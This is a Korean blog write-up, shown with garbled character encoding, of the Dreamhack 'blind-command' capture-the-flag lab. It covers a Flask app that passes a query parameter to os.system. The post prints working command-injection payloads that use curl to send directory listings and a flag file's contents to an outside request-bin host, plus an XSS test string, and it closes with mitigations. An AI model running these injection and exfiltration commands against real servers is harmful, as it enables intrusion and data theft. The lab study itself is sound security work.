๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level2: blind-command

by Yun2๐Ÿ‘ 2024. 1. 5.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

Read the flag file XD

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

 

#1


: '/' ํŽ˜์ด์ง€์—์„œ ?cmd=[cmd]๋ผ๋Š” ํ™”๋ฉด์ด ์ถœ๋ ฅ๋จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

: GET๋ฐฉ์‹์œผ๋กœ cmd ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์— ์ž…๋ ฅํ•˜์˜€๋”๋‹ˆ ๊ทธ๋Œ€๋กœ ๊ฒฐ๊ณผ๊ฐ€ ์ถœ๋ ฅ๋จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ถ”๊ฐ€๋กœ <script>alert(1)</script>๋ฅผ ์ž…๋ ฅํ–ˆ๋”๋‹ˆ ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฌธ์ด ๋™์ž‘ํ•จ์„ ํ™•์ธํ–ˆ๋‹ค.

: ์—ฌ๊ธฐ์„œ Reflected XSS ์ทจ์•ฝ์ ๋„ ์กด์žฌํ•จ์„ ํŒŒ์•…ํ–ˆ๋‹ค.

 

:  ์ด ๋ถ€๋ถ„์—์„œ ํžŒํŠธ๋ฅผ ์‚ดํŽด๋ณด๋ฉด POST๋ฐฉ์‹์œผ๋กœ ์ ‘๊ทผํ•  ๊ฒฝ์šฐ OS.system(cmd) ๋ช…๋ น์–ด๊ฐ€ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

#2


: Burp Suite๋„๊ตฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ค‘๊ฐ„์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€๋กœ์ฑ„์–ด(Intercept) ๋ถ„์„ํ•˜์˜€๋‹ค.

: OPTIONS ๋ฉ”์„œ๋“œ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ฃผ์–ด์ง„ URL ๋˜๋Š” ์„œ๋ฒ„์— ๋Œ€ํ•ด ํ—ˆ์šฉ๋œ ํ†ต์‹  ์˜ต์…˜์„ ํ™•์ธํ–ˆ๋‹ค.

: GET, OPTIONS, HEAD์—์„œ HEAD๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

(HEAD๋Š” GET๊ณผ ๊ฑฐ์˜ ์œ ์‚ฌํ•˜๋‚˜ response body๊ฐ€ ์—†๋‹ค. ์ฆ‰, ํ—ค๋” ์ •๋ณด ์ด์™ธ์—๋Š” ์–ด๋–ค ๋ฐ์ดํ„ฐ๋„ ๋ณด๋‚ด์ง€ ์•Š๋Š”๋ฐ ์ด๋ฅผ ํ™œ์šฉ)

(์‹ค์ œ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋ฐ˜ํ™˜๋˜์ง€ ์•Š๊ณ  ํ—ค๋” ์ •๋ณด๋งŒ ๋ฐ˜ํ™˜๋จ)

: ๋”ฐ๋ผ์„œ ๋“œ๋ฆผํ•ต์˜ Request Bin์˜ ์ ‘์† ๊ธฐ๋ก์„ ๋‚จ๊ฒจ ์š”์ฒญ์— ๋Œ€ํ•œ ์‘๋‹ต ๊ธฐ๋ก์„ ๋”ฐ๋กœ ํ™•์ธ๋ฐ›์„ ์ˆ˜ ์žˆ๋„๋ก ์‚ฌ์šฉํ•˜์˜€๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


# curl -d ํ™œ์šฉ(POST Body์— ์‹คํ–‰ ๊ฒฐ๊ณผ)
HEAD /?cmd=curl+https://netgppv.request.dreamhack.games/+-d+"$(ls)" HTTP/1.1
HEAD /?cmd=curl+https://netgppv.request.dreamhack.games/+--data+"$(ls)" HTTP/1.1

[์˜ต์…˜]
-d or --data: HTTP POST ์š”์ฒญ ๋ฐ์ดํ„ฐ ์ž…๋ ฅ 

: curl์€ ํ”„๋กœํ† ์ฝœ๋“ค์„ ์ด์šฉํ•ด URL ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜์—ฌ ์„œ๋ฒ„์— ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ด๊ฑฐ๋‚˜ ๊ฐ€์ ธ์˜ฌ๋•Œ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•œ ๋ช…๋ น์ค„ ๋„๊ตฌ ๋ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๋‹ค.

 

 

: ๊ทธ ๊ฒฐ๊ณผ ํŒŒ์ผ์˜ ๋ชฉ๋ก์„ ํ™•์ธํ•œ ํ›„ cat ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ flagํŒŒ์ผ์„ ์—ด๋žŒํ•  ์ˆ˜ ์žˆ๋‹ค.

HEAD /?cmd=curl+https://netgppv.request.dreamhack.games/+--data+"$(cat+flag.py)" HTTP/1.1

 

 

[+] Additional Checks


: ์ถ”๊ฐ€๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ช…๋ น์–ด๋ฅผ ํ™œ์šฉํ•˜์—ฌ ํŒŒ์ผ ๋‚ด๋ถ€ ๊ฒฝ๋กœ๊นŒ์ง€ ์ ‘๊ทผ ๋˜๋Š” ๋‹ค์šด๋กœ๋“œ ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋งค์šฐ ์œ„ํ—˜ํ•˜๋‹ค.

 

 

๐Ÿ“ŒSummary


Command Injection ์ทจ์•ฝ์ 

์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์–ป๋Š” ๊ณผ์ •์—์„œ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ/์„ค์ • ๋˜๋Š” WAF(Web Application Firewall, ์›น ๋ฐฉํ™”๋ฒฝ) ๋“ฑ์— ์˜ํ•ด ๊ณต๊ฒฉ์ด ์ œํ•œ๋˜๋Š” ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•  ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์˜ ๊ธธ์ด ๋˜๋Š” ๋‚ด์šฉ์ด ์ œํ•œ๋˜๊ฑฐ๋‚˜, ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ์ง์ ‘์ ์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์—†๊ฑฐ๋‚˜, ์‰˜ ๋™์ž‘ ๋ฐ ์‰˜์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฉ”ํƒ€ ๋ฌธ์ž๋“ค์„ ํ™œ์šฉํ•ด ๊ณต๊ฒฉ์ด ์ œํ•œ๋˜๋Š” ์ƒํ™ฉ์„ ์šฐํšŒํ•˜๊ณ  ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์‹œ๋„ ๋“ฑ์˜ ๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ๋ฒ•์ด ์กด์žฌํ•œ๋‹ค. ๋•Œ๋ฌธ์— ์ƒํ™ฉ์— ๋งž๊ฒŒ ๋Œ€์‘ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

 

- ๋Œ€์‘๋ฐฉ์•ˆ-

1) ์‹œ์Šคํ…œ ๋ช…๋ น(๋ฉ”ํƒ€ ๋ฌธ์ž๋“ค) ๋˜๋Š” ์…ธ ์•ก์„ธ์Šค๋ฅผ ๋น„ํ™œ์„ฑํ™” ํ•„์š”

2) ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ์‚ฌ์šฉ์ž ๋˜๋Š” ํ”„๋กœ์„ธ์Šค์˜ ๊ถŒํ•œ์„ ์ œํ•œํ•˜์—ฌ ์ฃผ์ž…์œผ๋กœ ์ธํ•œ ์ ‘๊ทผ์ด ๋ฐœ์ƒ ๋˜์—ˆ๋”๋ผ๋„ ๋ฏผ๊ฐ ๋ฆฌ์†Œ์Šค ๋ฐ ๋ช…๋ น์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ๋ถˆ๊ฐ€ํ•˜๋„๋ก ์ œํ•œ

3) ์ž…๋ ฅ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ(ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ, ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ)

: ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ์ž…๋ ฅ๊ณผ URL, ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฒ ์ €ํ•˜๊ฒŒ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ํ•„์š”

4) ๋ฐฉํ™”๋ฒฝ ๊ตฌ์„ฑ

5) Chrom ๊ธฐ๋Šฅ์—์„œ https ์ด์™ธ์˜ ์‚ฌ์ดํŠธ๋Š” ์ง€์›ํ•˜์ง€ ์•Š๋„๋ก ์„ค์ •

(http ๋“ฑ์˜ ์ ‘๊ทผ์—์„œ ๋กœ๊ทธ์ธ์œผ๋กœ ์ธํ•œ ์ •๋ณด ํƒˆ์ทจ ๋“ฑ์„ ์–ด๋Š์ •๋„ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ์Œ)

...

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level2: web-ssrf  (0) 2023.09.09
[Dreamhack] Level1: file-download-1  (0) 2023.09.03
[Dreamhack] Level1: image-storage  (0) 2023.08.26
[Dreamhack] Level1: command-injection-1  (0) 2023.08.24
[Dreamhack] Level2: Mango  (0) 2023.08.23